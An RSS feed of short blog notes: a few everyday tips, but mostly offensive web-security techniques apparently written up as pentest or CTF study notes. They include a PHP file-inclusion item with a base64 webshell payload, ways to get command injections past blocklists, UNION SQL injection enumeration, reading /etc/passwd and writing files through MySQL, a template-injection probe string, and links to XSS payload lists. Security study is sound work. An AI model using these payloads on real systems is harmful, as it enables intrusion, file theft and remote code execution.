<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Notes on slightlymore</title><link>https://slightlymore.co.uk/notes/</link><description>Recent content in Notes on slightlymore</description><generator>Hugo</generator><language>en-GB</language><copyright>&lt;a href="https://creativecommons.org/licenses/by/4.0/" target="_blank" rel="license"&gt;CC BY 4.0&lt;/a&gt; by Clinton Montague</copyright><lastBuildDate>Wed, 29 Apr 2026 21:26:20 +0100</lastBuildDate><atom:link href="https://slightlymore.co.uk/notes/index.xml" rel="self" type="application/rss+xml"/><item><title>How to get keychain to remember ssh passphrase</title><link>https://slightlymore.co.uk/how-to-get-keychain-to-remember-ssh-passphrase/</link><pubDate>Mon, 06 Apr 2026 00:00:00 +0000</pubDate><guid>https://slightlymore.co.uk/how-to-get-keychain-to-remember-ssh-passphrase/</guid><description>&lt;p&gt;&lt;code&gt;ssh-add --apple-use-keychain --apple-load-keychain ~/.ssh/id_ed25519&lt;/code&gt;&lt;/p&gt;
&lt;h2 id="references"&gt;References&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://slightlymore.co.uk/how-to-set-up-git-signing"&gt;How to set up git signing 🌿&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>How to get rid of YouTube shorts</title><link>https://slightlymore.co.uk/how-to-get-rid-of-youtube-shorts/</link><pubDate>Mon, 06 Apr 2026 00:00:00 +0000</pubDate><guid>https://slightlymore.co.uk/how-to-get-rid-of-youtube-shorts/</guid><description>&lt;p&gt;There&amp;rsquo;s no global setting to remove YouTube shorts, but I&amp;rsquo;ve found that by saying &amp;ldquo;not interested&amp;rdquo; to every one which pops up they&amp;rsquo;ve been removed from my feed.&lt;/p&gt;
&lt;p&gt;Right now I&amp;rsquo;m not sure how long this will be in effect for, but it&amp;rsquo;s at least a temporary solution.&lt;/p&gt;</description></item><item><title>Reverse the order of lines in a file</title><link>https://slightlymore.co.uk/reverse-the-order-of-lines-in-a-file/</link><pubDate>Mon, 06 Apr 2026 00:00:00 +0000</pubDate><guid>https://slightlymore.co.uk/reverse-the-order-of-lines-in-a-file/</guid><description>&lt;p&gt;Reading and writing to the same file can in theory cause it to become truncated or corrupted so you can use &lt;code&gt;sponge&lt;/code&gt; from &lt;code&gt;moreutils&lt;/code&gt; to &amp;ldquo;soak up std out and write to a file&amp;rdquo; which ensures that the file is processed in entirety before redirecting the output back to the same file.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;tail -r file.txt &lt;span class="p"&gt;|&lt;/span&gt; sponge file.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description></item><item><title>Using PHP filters in local file inclusion</title><link>https://slightlymore.co.uk/using-php-filters-in-local-file-inclusion/</link><pubDate>Sat, 24 Jan 2026 00:00:00 +0000</pubDate><guid>https://slightlymore.co.uk/using-php-filters-in-local-file-inclusion/</guid><description>&lt;p&gt;Imagine a PHP file where you can perform LFI such as&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl http://example.com/vuln.php?lang&lt;span class="o"&gt;=&lt;/span&gt;en.php
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;With a badly configured server and app you can use PHP read filters to get the full content&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl http://example.com/vuln.php?lang&lt;span class="o"&gt;=&lt;/span&gt;php://filter/read&lt;span class="o"&gt;=&lt;/span&gt;convert.base64-encode/resource&lt;span class="o"&gt;=&lt;/span&gt;en.php
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;You can get a webshell or RCE if &lt;code&gt;allow_url_include&lt;/code&gt; is enabled&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;curl http://example.com?vuln.php?lang=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Cg==%3D%3D&amp;amp;cmd=whoami
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The shell is &lt;code&gt;&amp;lt;?php system($_GET['cmd'];&lt;/code&gt;&lt;/p&gt;</description></item><item><title>A string to test for template injection vulnerabilities</title><link>https://slightlymore.co.uk/a-string-to-test-for-template-injection-vulnerabilities/</link><pubDate>Sun, 11 Jan 2026 00:00:00 +0000</pubDate><guid>https://slightlymore.co.uk/a-string-to-test-for-template-injection-vulnerabilities/</guid><description>&lt;p&gt;The following string can be used to test a large number of templating engines in one go:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ { { &amp;lt; % [ % &amp;#39; &amp;#34; } } % \ .
&lt;/code&gt;&lt;/pre&gt;&lt;blockquote&gt;
&lt;p&gt;[!IMPORTANT]
Remove the spaces between each character! I&amp;rsquo;ve included them here because it messes up rendering in some places!&lt;/p&gt;
&lt;/blockquote&gt;</description></item><item><title>Techniques for bypassing blocklist words for command injections</title><link>https://slightlymore.co.uk/techniques-for-bypassing-blocklist-words-for-command-injections/</link><pubDate>Thu, 08 Jan 2026 00:00:00 +0000</pubDate><guid>https://slightlymore.co.uk/techniques-for-bypassing-blocklist-words-for-command-injections/</guid><description>&lt;h2 id="inserting-noop-characters"&gt;Inserting noop characters&lt;/h2&gt;
&lt;p&gt;Quotes (even number of non-mixed) will be ignored by bash. &lt;code&gt;$ c'a't&lt;/code&gt; becomes &lt;code&gt;$ cat&lt;/code&gt;. Similar for &lt;code&gt;$ c&amp;quot;a&amp;quot;t&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Backslashing chars (other than &lt;code&gt;\n&lt;/code&gt; etc, obs) will have no effect. &lt;code&gt;$ c\at&lt;/code&gt; becomes &lt;code&gt;$ cat&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Use the positional param character &lt;code&gt;$ c$@at&lt;/code&gt; becomes &lt;code&gt;$ cat&lt;/code&gt;&lt;/p&gt;
&lt;h2 id="manipulate-the-characters"&gt;Manipulate the characters&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;$(rev&amp;lt;&amp;lt;&amp;lt;'tac')&lt;/code&gt; becomes &lt;code&gt;cat&lt;/code&gt;. Experiment with other things like rot13.&lt;/p&gt;
&lt;h2 id="encode-the-command"&gt;Encode the command&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;$(base64 -d&amp;lt;&amp;lt;&amp;lt;&amp;quot;Y2F0Cg==&amp;quot;)&lt;/code&gt; becomes &lt;code&gt;cat&lt;/code&gt;&lt;/p&gt;</description></item><item><title>Techniques for bypassing blocklisted characters for command injections</title><link>https://slightlymore.co.uk/techniques-for-bypassing-blocklisted-characters-for-command-injections/</link><pubDate>Thu, 08 Jan 2026 00:00:00 +0000</pubDate><guid>https://slightlymore.co.uk/techniques-for-bypassing-blocklisted-characters-for-command-injections/</guid><description>&lt;h2 id="whitespace"&gt;Whitespace&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;%0a&lt;/code&gt;: newline&lt;/li&gt;
&lt;li&gt;&lt;code&gt;%20&lt;/code&gt;: space&lt;/li&gt;
&lt;li&gt;&lt;code&gt;%09&lt;/code&gt;: tab&lt;/li&gt;
&lt;li&gt;&lt;code&gt;${IFS}&lt;/code&gt;: &lt;a href="https://en.wikipedia.org/wiki/Input_Field_Separators" target="_blank" rel="noopener"&gt;Input Field Separators ↗️&lt;/a&gt;
 (typically space, tab, newline)&lt;/li&gt;
&lt;li&gt;bash bracket expansion: &lt;code&gt;{ls,-la}&lt;/code&gt; turns into &lt;code&gt;ls -la&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="special-characters"&gt;Special characters&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;forward slash: &lt;code&gt;echo ${PATH:0:1}&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;semicolon: &lt;code&gt;echo ${LS_COLORS:10:1}&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;pipe: try using &lt;code&gt;&amp;lt;&amp;lt;&amp;lt;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="shifting-characters"&gt;Shifting characters&lt;/h2&gt;
&lt;p&gt;This command will shift a letter one to the right &lt;code&gt;echo $(tr '!-}' '&amp;quot;-~'&amp;lt;&amp;lt;&amp;lt;[)&lt;/code&gt;. e.g. &lt;code&gt;~&lt;/code&gt; becomes &lt;code&gt;!&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;shift_generator&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;local&lt;/span&gt; &lt;span class="nv"&gt;shift&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;local&lt;/span&gt; &lt;span class="nv"&gt;char&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;local&lt;/span&gt; &lt;span class="nv"&gt;second_start&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;&lt;span class="m"&gt;33&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nb"&gt;shift&lt;/span&gt;&lt;span class="k"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;local&lt;/span&gt; &lt;span class="nv"&gt;second_end&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;&lt;span class="m"&gt;33&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nb"&gt;shift&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="k"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;echo \$(tr &amp;#39;\\!-~&amp;#39; &amp;#39;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;%b-~\\!-%b&amp;#39;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;\\%03o&amp;#39;&lt;/span&gt; &lt;span class="nv"&gt;$second_start&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;\\%03o&amp;#39;&lt;/span&gt; &lt;span class="nv"&gt;$second_end&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&amp;#39;&amp;lt;&amp;lt;&amp;lt;&amp;#39;%s&amp;#39;)\n&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$char&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# usage&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;shift_generator &lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;~&amp;#34;&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="tooling"&gt;Tooling&lt;/h2&gt;
&lt;p&gt;For more advanced obfuscation you can consider tools such as:&lt;/p&gt;</description></item><item><title>Enumerating databases, tables, columns, and user privileges with SQL injection</title><link>https://slightlymore.co.uk/enumerating-databases-tables-columns-and-user-privileges-with-sql-injection/</link><pubDate>Sat, 03 Jan 2026 00:00:00 +0000</pubDate><guid>https://slightlymore.co.uk/enumerating-databases-tables-columns-and-user-privileges-with-sql-injection/</guid><description>&lt;p&gt;Using a UNION injection we can find out about a (MySQL/MariaDB) structure.&lt;/p&gt;
&lt;p&gt;Here are some minimal examples. Remember to &lt;a href="https://slightlymore.co.uk/how-to-determine-the-number-of-columns-for-union-sql-injection"&gt;determine the correct number of columns 🌿&lt;/a&gt;
 and match that. Also clearly remember to add &lt;code&gt;WHERE&lt;/code&gt; clauses to these to narrow down the search.&lt;/p&gt;
&lt;h2 id="databases"&gt;Databases&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;UNION&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;SCHEMA_NAME&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;INFORMATION_SCHEMA&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SCHEMATA&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="tables"&gt;Tables&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;UNION&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;TABLE_NAME&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;TABLE_SCHEMA&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;INFORMATION_SCHEMA&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;TABLES&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="columns"&gt;Columns&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;UNION&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;COLUMN_NAME&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="k"&gt;TABLE_NAME&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;INFORMATION_SCHEMA&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;COLUMNS&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="privileges"&gt;Privileges&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;UNION&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;GRANTEE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PRIVILEGE_TYPE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;INFORMATION_SCHEMA&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;USER_PRIVILEGES&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="references"&gt;References&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://slightlymore.co.uk/how-to-determine-the-number-of-columns-for-union-sql-injection"&gt;How to determine the number of columns for &lt;code&gt;union&lt;/code&gt; SQL injection 🌿&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Reading files with MySQL</title><link>https://slightlymore.co.uk/reading-files-with-mysql/</link><pubDate>Sat, 03 Jan 2026 00:00:00 +0000</pubDate><guid>https://slightlymore.co.uk/reading-files-with-mysql/</guid><description>&lt;p&gt;After &lt;a href="https://slightlymore.co.uk/enumerating-databases-tables-columns-and-user-privileges-with-sql-injection"&gt;enumerating user privileges 🌿&lt;/a&gt;
 if you find one which has &lt;code&gt;FILE&lt;/code&gt; you can use that to read files from the target.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;UNION&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LOAD_FILE&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/etc/passwd&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="references"&gt;References&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://slightlymore.co.uk/enumerating-databases-tables-columns-and-user-privileges-with-sql-injection"&gt;Enumerating databases, tables, columns, and user privileges with SQL injection 🌿&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://slightlymore.co.uk/writing-files-with-mysql"&gt;Writing files with MySQL 🌱&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>SQL injection resources</title><link>https://slightlymore.co.uk/sql-injection-resources/</link><pubDate>Sat, 03 Jan 2026 00:00:00 +0000</pubDate><guid>https://slightlymore.co.uk/sql-injection-resources/</guid><description>&lt;h2 id="tools"&gt;Tools&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://sqlmap.org/" target="_blank" rel="noopener"&gt;sqlmap ↗️&lt;/a&gt;
 has a &lt;code&gt;--proxy&lt;/code&gt; flag&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Pro tip: remember to use &lt;a href="https://slightlymore.co.uk/proxying-cli-traffic-to-burp-suite-using-proxychains"&gt;proxychains 🌿&lt;/a&gt;
 to proxy to burp for tools without proxy flags!&lt;/p&gt;
&lt;h2 id="techniques"&gt;Techniques&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://slightlymore.co.uk/writing-files-with-mysql"&gt;Writing files with MySQL 🌱&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://slightlymore.co.uk/reading-files-with-mysql"&gt;Reading files with MySQL 🌱&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://slightlymore.co.uk/how-to-determine-the-number-of-columns-for-union-sql-injection"&gt;How to determine the number of columns for &lt;code&gt;union&lt;/code&gt; SQL injection 🌿&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://slightlymore.co.uk/enumerating-databases-tables-columns-and-user-privileges-with-sql-injection"&gt;Enumerating database tables and columns with SQL injection 🌿&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Writing files with MySQL</title><link>https://slightlymore.co.uk/writing-files-with-mysql/</link><pubDate>Sat, 03 Jan 2026 00:00:00 +0000</pubDate><guid>https://slightlymore.co.uk/writing-files-with-mysql/</guid><description>&lt;h2 id="prerequisites"&gt;Prerequisites&lt;/h2&gt;
&lt;p&gt;This should not be enabled on any modern secure systems, but if it is, you can use it to create a remote shell.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://dev.mysql.com/doc/refman/8.4/en/server-system-variables.html#sysvar_secure_file_priv" target="_blank" rel="noopener"&gt;&lt;code&gt;secure_file_priv&lt;/code&gt; ↗️&lt;/a&gt;
 can have the following values:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;null&lt;/code&gt;: cannot write anywhere on system&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;quot;&amp;quot;&lt;/code&gt; (empty string): can write anywhere&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;quot;/path/to/dir&amp;quot;&lt;/code&gt;: can write only to specified path&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;SHOW&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VARIABLES&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;LIKE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;secure_file_priv&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;You can get this by querying the information_schema using a union injection&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;UNION&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VARIABLE_NAME&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;VARIABLE_VALUE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;INFORMATION_SCHEMA&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;GLOBAL_VARIABLES&lt;/span&gt;&lt;span class="w"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="do-it"&gt;Do it&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;OOPS!&amp;#34;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;INTO&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;OUTFILE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;/var/www/html/poc.txt&amp;#34;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="references"&gt;References&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://slightlymore.co.uk/enumerating-databases-tables-columns-and-user-privileges-with-sql-injection"&gt;Enumerating databases, tables, columns, and user privileges with SQL injection 🌿&lt;/a&gt;
&lt;/p&gt;</description></item><item><title>How to determine the number of columns for `union` SQL injection</title><link>https://slightlymore.co.uk/how-to-determine-the-number-of-columns-for-union-sql-injection/</link><pubDate>Fri, 02 Jan 2026 00:00:00 +0000</pubDate><guid>https://slightlymore.co.uk/how-to-determine-the-number-of-columns-for-union-sql-injection/</guid><description>&lt;p&gt;A union injection causes additional rows to be added to the result set by using the &lt;code&gt;UNION&lt;/code&gt; clause. To do this, we need to know the number of columns in the target result set.&lt;/p&gt;
&lt;p&gt;There are two easy strategies for this. Using &lt;code&gt;order by&lt;/code&gt; or &lt;code&gt;union&lt;/code&gt;. Assume that the following is vulnerable:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;where&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;$oops&amp;#39;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="order-by"&gt;&lt;code&gt;order by&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;In MySQL you can use numeric arguments for order by which you can use to infer the number of columns. Let &lt;code&gt;$oops = &amp;quot;test' order by 1 -- &lt;/code&gt; then the query becomes:&lt;/p&gt;</description></item><item><title>XSS Payloads</title><link>https://slightlymore.co.uk/xss-payloads/</link><pubDate>Tue, 30 Dec 2025 00:00:00 +0000</pubDate><guid>https://slightlymore.co.uk/xss-payloads/</guid><description>&lt;p&gt;Here are some resources containing XSS payloads:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md" target="_blank" rel="noopener"&gt;PayloadsAllTheThings ↗️&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/payloadbox/xss-payload-list" target="_blank" rel="noopener"&gt;payloadbox ↗️&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://findxss.com/" target="_blank" rel="noopener"&gt;findxss ↗️&lt;/a&gt;
&lt;/li&gt;
